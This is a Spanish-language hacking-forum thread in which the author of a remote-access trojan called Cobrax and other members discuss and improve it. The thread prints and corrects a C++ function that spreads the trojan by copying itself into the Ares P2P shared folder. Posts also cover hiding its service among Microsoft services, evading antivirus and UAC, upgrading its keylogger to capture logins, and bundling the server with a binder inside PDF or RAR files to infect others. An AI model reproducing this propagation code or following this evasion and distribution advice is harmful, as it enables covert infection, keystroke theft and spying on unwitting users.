Troyano Cobrax 1.0 [Actualizado 14/08/15]

Iniciado por xxneeco83xx, Julio 27, 2015, 10:31:02 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo.  ::)
Todavía sigo leyéndolo a ratitos y me gusta cómo lo fuiste identificando todo.
Tengo una duda, que creo que es una errata.
OPENSC\Servidor\source\functions.h - Líneas de 498 a 574 (Función Spread_Ares)
Código: cpp
bool __stdcall Spread_Ares ( VOID )
{

HKEY key;
BOOL Install = FALSE;

DWORD cbSize = 256;

LPSTR Path, New, AppName;

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );

if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{
Install = TRUE;

RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );

RegCloseKey ( key );
}
else
{

GlobalFree ( AppName );
GlobalFree ( Path );

RegCloseKey ( key );

return FALSE;
}

if ( Install = FALSE )
{

GlobalFree ( AppName );
GlobalFree ( Path );

return FALSE;

}

GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

if( PathFileExistsA ( Path ) )
{

for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{

New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );

lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );

CopyFileA ( AppName, New, FALSE );

GlobalFree ( New );
}

GlobalFree ( AppName );
GlobalFree ( Path );

return TRUE;

}
else
{
GlobalFree ( Path );
}

GlobalFree ( Path );
GlobalFree ( AppName );

return FALSE;
}

Primero creamos la variable Booleana Install poniéndolo en FALSE, y si el resultado de RegOpenKeyExA es ERROR_SUCCESS ponemos Install a True. Si no, la función devuelve FALSE. Pero además, luego, si Install está en FALSE se vuelve a repetir.
Código: cpp
BOOL Install = FALSE;
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{...}
else
{ GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;}

if ( Install = FALSE )
{ GlobalFree ( AppName );
GlobalFree ( Path );
return FALSE; }

¿Ésto es por algo o es una errata?
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.


Julio 30, 2015, 08:28:39 PM #22 Ultima modificación: Julio 30, 2015, 10:12:48 PM por xxneeco83xx
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo.  ::)
Todavía sigo leyéndolo a ratitos y me gusta cómo lo fuiste identificando todo.
Tengo una duda, que creo que es una errata.
OPENSC\Servidor\source\functions.h - Líneas de 498 a 574 (Función Spread_Ares)
Código: cpp
bool __stdcall Spread_Ares ( VOID )
{

HKEY key;
BOOL Install = FALSE;

DWORD cbSize = 256;

LPSTR Path, New, AppName;

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );

if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{
Install = TRUE;

RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );

RegCloseKey ( key );
}
else
{

GlobalFree ( AppName );
GlobalFree ( Path );

RegCloseKey ( key );

return FALSE;
}

if ( Install = FALSE )
{

GlobalFree ( AppName );
GlobalFree ( Path );

return FALSE;

}

GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

if( PathFileExistsA ( Path ) )
{

for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{

New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );

lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );

CopyFileA ( AppName, New, FALSE );

GlobalFree ( New );
}

GlobalFree ( AppName );
GlobalFree ( Path );

return TRUE;

}
else
{
GlobalFree ( Path );
}

GlobalFree ( Path );
GlobalFree ( AppName );

return FALSE;
}

Primero creamos la variable Booleana Install poniéndolo en FALSE, y si el resultado de RegOpenKeyExA es ERROR_SUCCESS ponemos Install a True. Si no, la función devuelve FALSE. Pero además, luego, si Install está en FALSE se vuelve a repetir.
Código: cpp
BOOL Install = FALSE;
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{...}
else
{ GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;}

if ( Install = FALSE )
{ GlobalFree ( AppName );
GlobalFree ( Path );
return FALSE; }

¿Ésto es por algo o es una errata?

Ajá, no ese es un error mio, el problema, de igual forma si fallaba antes de comprobar si la variable era TRUE o FALSE; returnaria.
Pero ya gracias por el dato, corregido seria

Código: cpp
bool __stdcall Spread_Ares ( VOID )
{

HKEY key;

DWORD cbSize = 256;

LPSTR Path, New, AppName;

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );

if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{

RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );

RegCloseKey ( key );
}
else
{

GlobalFree ( AppName );
GlobalFree ( Path );

RegCloseKey ( key );

return FALSE;
}

GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

if( PathFileExistsA ( Path ) )
{

for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{

New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );

lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );

CopyFileA ( AppName, New, FALSE );

GlobalFree ( New );
}

GlobalFree ( AppName );
GlobalFree ( Path );

return TRUE;

}

GlobalFree ( Path );
GlobalFree ( AppName );

return FALSE;
}


Por cierto, eso del UAC que comentas entiendo a lo que te refieres, pero yo cuando testie el servidor en Windows Xp, Vista, 7. no hacia falta ejecutar como administrador, ya que el compilado tiene incluido la marca Microsoft® por lo que lo toma como un archivo del sistema, si hasta si te fijas cuando crea el servicio, si tu accedes al msconfig, y marcas la casilla ocultar servicios de microsoft, (esto también funciona en Windows 10)
este también oculta el servicio del servidor, lo toma como si fuera de Microsoft.
Volviendo a lo anterior, hasta windows 7 el UAC no salta, y asi lo abran como o sin administrador, este funciona igual.
Ya de Windows 8 en adelante, actualmente poseo Windows 10. pero en la virtual machine probe (esta tiene Windows 8)
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.
El arte de crear malware, es algo que solo pocos entienden!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.
Bueno, hacemos las cosas más complicadas, pero sabemos que hay métodos para evadir AV's y UAC con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Sería cuestión de implementarlo en "el bicho".
Es algo fácil de decir y difícil de implementar, pero ¿tenemos algo mejor que hacer?
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.
Bueno, hacemos las cosas más complicadas, pero sabemos que hay métodos para evadir AV's y UAC con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Sería cuestión de implementarlo en "el bicho".
Es algo fácil de decir y difícil de implementar, pero ¿tenemos algo mejor que hacer?

No claro, algo implementare, actualmente le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU), luego de eso subire de nuevo, para quienes quieran usarlo sin bugs, y algo hecho sobre los privilegios. lo que son heuristica de avast, y eset. al menos no han detectado nada.
El arte de crear malware, es algo que solo pocos entienden!


Agosto 01, 2015, 06:20:54 AM #25 Ultima modificación: Agosto 01, 2015, 07:04:14 AM por rand0m
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No claro, algo implementare.
Me encanta. A ver qué sale. Pero tienes razón, todo a su tiempo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU)
Quizá sea culpa del keylogger offline. Es un buen momento para estudiar el funcionamiento offline del bicho con un depurador como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Estoy intentando compilar el código fuente pero estoy teniendo algún que otro problema. ¿Utilizaste algún IDE? ¿Qué compilador estás utilizando? Lo intento desde Code::Blocks con mingw32-gcc-g++ 4.8.1-4.

**EDIT**: Estoy jugando con la versión que has compilado tú y hay algunas cosas que no me gustan, comenzando por la transparencia en las ventanas. Habrá a quien le guste, pero me parece que sólo añade peso al programa sin cumplir ninguna función interesante. Además, dependiendo de la resolución de la pantalla al iniciar el programa, podemos quedarnos con una ventana sin botones que no podemos redimensionar. Adjunto imagen.

Pero bueno, son observaciones mías. Me gustan las cosas con interfaz cutre y funcionamiento óptimo. Los efectos visuales son mero maquillaje. (Aunque no todos piensan como yo)
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No claro, algo implementare.
Me encanta. A ver qué sale. Pero tienes razón, todo a su tiempo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU)
Quizá sea culpa del keylogger offline. Es un buen momento para estudiar el funcionamiento offline del bicho con un depurador como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Estoy intentando compilar el código fuente pero estoy teniendo algún que otro problema. ¿Utilizaste algún IDE? ¿Qué compilador estás utilizando? Lo intento desde Code::Blocks con mingw32-gcc-g++ 4.8.1-4.

**EDIT**: Estoy jugando con la versión que has compilado tú y hay algunas cosas que no me gustan, comenzando por la transparencia en las ventanas. Habrá a quien le guste, pero me parece que sólo añade peso al programa sin cumplir ninguna función interesante. Además, dependiendo de la resolución de la pantalla al iniciar el programa, podemos quedarnos con una ventana sin botones que no podemos re-dimensionar. Adjunto imagen.

Pero bueno, son observaciones mías. Me gustan las cosas con interfaz cutre y funcionamiento óptimo. Los efectos visuales son mero maquillaje. (Aunque no todos piensan como yo)

Si son muchas cosas las que tengo que hacerle aun, trabaje bastante en lo que es el Servidor y casi poco en lo que es el cliente. por eso coloque en el post que hasta que no saque otra versión con muchas cosas corregidas y siendo FUD y demás no actualizare tan a menudo, con respecto al compilador uso Dev-Cpp con MinGW GCC 4.7.0 en Windows (cuando uso codeblocks tengo problema con la librería gdiplus).
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.
Son buenas y aceptables las criticas, no a todos puede gustarle en si el programa, como ya lo he dicho antes, me llevo bastante tiempo desarrollarlo y más aun corregir los bugs.
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.

Gracias por la opinion! Saludos!
El arte de crear malware, es algo que solo pocos entienden!


Agosto 01, 2015, 03:24:27 PM #27 Ultima modificación: Agosto 01, 2015, 03:39:29 PM por rand0m
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.
Siempre había visto hacer directamente el hook al teclado para capturar las pulsaciones, por eso tu sistema me confundía un poco.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias por la opinion!
Te veo con este proyecto bien llevado, y más que dar mi opinión el objetivo siempre será compartir ideas. Como una noticia que leí hoy en el blog de Chema Alonso en el que comentaban No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Me pareció interesantísimo para este troyano (Para éste y para muchas cosas).
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.
Ok, me gusta. ¿Lo subirás actualizado?

** EDIT **
He enviado un email al autor de la entrada del blog preguntándole si le gustaría compartir el código con nosotros. Crucemos los dedos.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.
Siempre había visto hacer directamente el hook al teclado para capturar las pulsaciones, por eso tu sistema me confundía un poco.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias por la opinion!
Te veo con este proyecto bien llevado, y más que dar mi opinión el objetivo siempre será compartir ideas. Como una noticia que leí hoy en el blog de Chema Alonso en el que comentaban No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Me pareció interesantísimo para este troyano (Para éste y para muchas cosas).
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.
Ok, me gusta. ¿Lo subirás actualizado?

** EDIT **
He enviado un email al autor de la entrada del blog preguntándole si le gustaría compartir el código con nosotros. Crucemos los dedos.

si, pasa que este troyano lo comencé en 2012 y en ese entonces el método que conocía era GetAsyncKeyState, y habia tenido inconveniente al aplicar el HOOK ya que este siempre necesita de GetMessages, DispatchMessages y TranslateMessages, tendría que reestructurar todo para usar el hook dependiendo siempre de los Thread's, o depender de una DLL y eso no me gustaba. pero ya implemente otra formula que funciona perfecto,  no se escapa ni una tecla :D y no consume nada de recursos.
Con respecto al código y la idea que comentas.
Se ve interesante, ojala comparta el código! y si subiré el nuevo cliente ? si claro, en un rato mas ya subo! ya logre hacer que se ajustara a la resolución y modifique bastante el cliente
cosa de no tener problemas de resolución, y le agregue el Resize, y para que pueda utilizare maximizado. ( y sin transparencia ).
El arte de crear malware, es algo que solo pocos entienden!


Pregunta disculpe me ignorancia.
COmo lo propago a otro ordenador , puedo infectarlo nada mas ejecutando el archivo!, o tambien lo puedo camuflar con PDF, o extensiones rar, ,exe

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pregunta disculpe me ignorancia.
COmo lo propago a otro ordenador , puedo infectarlo nada mas ejecutando el archivo!, o tambien lo puedo camuflar con PDF, o extensiones rar, ,exe

el server lo puedes crear con la opción de auto-propagacion USB & P2P (Ares) pero si tu quieres infectar un ordenador ya que tienes el server hecho
ya luego con un Binder (Joiner) lo puedes adjuntar con un DPS, RAR, PIF, etc etc. existen miles de formas para que puedas camuflarlo y hasta sacarle los pocos AV'S que lo detectan.
El arte de crear malware, es algo que solo pocos entienden!


Añádale funciones diferentes que no tengan los demás RATS eso lo haría especial

Recomendación

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Añádale funciones diferentes que no tengan los demás RATS eso lo haría especial

Recomendación

Si eso al tiempo iré añadiendo, no quería seguir agregando funciones y opciones sabiendo que las que ya tiene tienen errores.
ahora que ya todo es estable y funciona relativamente bien, si podría pensar en agregarle opciones diferentes
también tendría que pensar como cuales, y como hacerlas.
cualquier opción que se te ocurra, sera bien recibida.
El arte de crear malware, es algo que solo pocos entienden!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Con respecto al código y la idea que comentas.
Se ve interesante, ojala comparta el código!
Pues el bueno de Christian me dijo que en cuanto termine de escribir un paper de seguridad relacionado con el tema publicará todo junto: El código de su troyano y las observaciones que hizo durante el proceso. De lo más interesante.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ahora que ya todo es estable y funciona relativamente bien
Pues ahora sí que toca leer el código con calma. Enorme trabajo, xxneeco83xx, gracias por compartirlo con todos.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Con respecto al código y la idea que comentas.
Se ve interesante, ojala comparta el código!
Pues el bueno de Christian me dijo que en cuanto termine de escribir un paper de seguridad relacionado con el tema publicará todo junto: El código de su troyano y las observaciones que hizo durante el proceso. De lo más interesante.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ahora que ya todo es estable y funciona relativamente bien
Pues ahora sí que toca leer el código con calma. Enorme trabajo, xxneeco83xx, gracias por compartirlo con todos.

Buenisimo! gracias. (adelanto : ando trabajando en un keylogger avanzado, detecta paginas que requieran login, facebook, twitter, foros, etc, y hookea el teclado, y se incorporo para ver las ventanas abiertas con sus títulos direcciones y demás )
El arte de crear malware, es algo que solo pocos entienden!


Hola oye al momento de abrir el programa me sale este mensaje  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Que puedo hacer para solucionarlo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola oye al momento de abrir el programa me sale este mensaje  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Que puedo hacer para solucionarlo

mm que raro, no habia visto nunca ese error, ni estoy informado acerca de que lo pueda producir porque lo eh testeado en diferentes ordenadores con diferentes SO
y ha funcionado, Has probado registrar los componentes de la carpeta Registrar ? e intentar abrir el cliente como administrador ?  :-\
El arte de crear malware, es algo que solo pocos entienden!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola oye al momento de abrir el programa me sale este mensaje  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Que puedo hacer para solucionarlo

mm que raro, no habia visto nunca ese error, ni estoy informado acerca de que lo pueda producir porque lo eh testeado en diferentes ordenadores con diferentes SO
y ha funcionado, Has probado registrar los componentes de la carpeta Registrar ? e intentar abrir el cliente como administrador ?  :-\

Ya probe con eso y mesigue saliendolo mismo :s

XXNEECO83XX

Si que te sarpaste con el código, es demaciado y esta muy bien comentado.

Una sugerencia, para el screen capture, estaria bueno dividir la pantalla en secciones de captura (9 preferiblemente), en vez de sacar una captura completa de la pantalla y enviarla, enviar pedasos que hayan sido modificados (donde el usuario haya hecho alguna acción).

Esto podria evitar que se envien datos de tamaño excesivo y aumentaria la velocidad de envio - recepción.

Otra cosa, si podes implementar un sistema de plugins estaria muy muy muy bueno, preferiblemente en conversión de llamadas STDCALL, tengo ganas de aportar, pero no se C++.

En functions.h:340 convertimos la imagen a JPG, pudiendo cambiarlo a PNG. Creo que PNG sería más ligero y fácil de enviar, por lo que sería una mejor opción por defecto. ¿O preferiste JPG por alguna razón en especial?
Código: cpp
void BitmapToJpg ( HBITMAP hbmpImage, LPSTR filename )
{
wchar_t JPG [ MAX_PATH ];

swprintf( JPG, L"%hs", filename );

Bitmap *p_bmp = Bitmap::FromHBITMAP ( hbmpImage, NULL);
   
    //Obtenemos el encoder de JPG, tambien puede modificarse por el de PNG 'image/png'
CLSID pngClsid;
int result = GetEncoderClsid ( L"image/jpeg", &pngClsid );

if ( result == -1 )
    {
    delete p_bmp;
    return;
    }
   
p_bmp -> Save ( JPG, &pngClsid, NULL);
delete p_bmp;
}

Oye, está quedando genial.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.